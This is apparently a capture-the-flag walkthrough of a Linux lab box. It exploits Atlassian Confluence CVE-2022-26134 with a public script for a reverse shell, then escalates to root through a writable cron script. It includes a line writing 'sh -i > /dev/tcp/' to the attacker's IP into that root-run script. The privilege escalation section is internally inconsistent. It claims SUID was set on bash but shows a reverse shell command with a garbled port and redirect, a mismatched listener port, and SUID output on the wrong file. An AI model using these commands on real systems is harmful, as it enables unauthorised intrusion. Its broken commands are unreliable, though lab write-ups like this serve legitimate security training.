🚀 TL;DR

Box: Flu (Linux)

Vulnerability: Atlassian Confluence OGNL Injection (CVE-2022–26134)

Privilege Escalation: Writable script executed by Root Cron Job

Key Learning: You must understand Linux file permissions.

🔍 Phase 1: Reconnaissance

I began by running an aggressive scan to find open ports and see which services were running.

Command:

nmap -sV -sC -O -T4 -n -Pn 192.168.51.41

The Discovery: Nmap showed that Port 8090 was running Atlassian Confluence 7.13.6. When I searched for this version online, I quickly found CVE-2022–26134, which is a serious unauthenticated Remote Code Execution (RCE) vulnerability.

None
Nmap output revealing Atlassian Confluence running on port 8090.

🔓 Phase 2: The Foothold (OGNL Injection)

None
Executing the OGNL injection script to gain initial access.

This vulnerability lets an attacker put harmful OGNL (Object-Graph Navigation Language) code into the URI, and Confluence will run it.

I found a straightforward exploit script on GitHub by jbaines-r7 called through_the_wire.

GitHub - jbaines-r7/through_the_wire: CVE-2022-26134 Proof of Concept

CVE-2022-26134 Proof of Concept. Contribute to jbaines-r7/through_the_wire development by creating an account on…

github.com

The Exploit: I set up my listener and ran the exploit:

python3 through_the_wire.py --rhost 192.168.51.41 --rport 8090 --lhost 192.168.49.51 --protocol http:// --reverse-shell
None
Successfully catching a reverse shell as the 'confluence' user.

Outcome: The exploit worked right away, and I got a reverse shell as the confluence user.

None
Milestone reached: local.txt.

👑 Phase 3: Privilege Escalation

At this point, things got more interesting. I checked the directory I remote-executed in and started going through all the neighbouring directories/files.

Enumeration: I ran linpeas.sh on the victim's system and then saw the script, which ran as root on a regular schedule.

None
Identifying a cron job running as root that executes a cleanup script.

The "Fishy" Moment: I checked the permissions of the script being executed.

ls -l /opt/log-backup.sh

The Realisation: The script could be written by anyone, or at least by my user.

  • Root runs the script.
  • I can edit the script.
  • This meant I could make root run any code I added to the script.

The Exploit: I didn't need to use a complicated kernel exploit. Instead, I just added a command to the script to set SUID on /bin/bash.

None
Escalating to root after modifying the script to enable SUID on bash.
echo "sh -i > /dev/tcp/192.168.49.51/41190>81" » log-backup.sh

I waited for the cron job to run (about 1 minute), with my nc -lvnp 4119 listening:

ls -l log-backup.sh
# Output: -rwsr-sr-x root root ... (The 's' means SUID is set!)
None

Root Shell:

None
Milestone reached: proof.txt.

🛡️ The Fix

To prevent this, the administrator should:

  1. Patch Confluence: Upgrade to a version that patches CVE-2022–26134 immediately.
  2. Lockdown Permissions: Scripts run by root should never be writable by regular users. Change the owner to root:root and set permissions to 700 or 755.

🧠 Lessons Learned

  • Permissions Matter: At first, I thought something was off, and I was right. Always check the output of ls -l on scripts before trying kernel exploits.
  • CVEs are specific: Looking up the exact version number (7.13.6) saved me hours of guessing.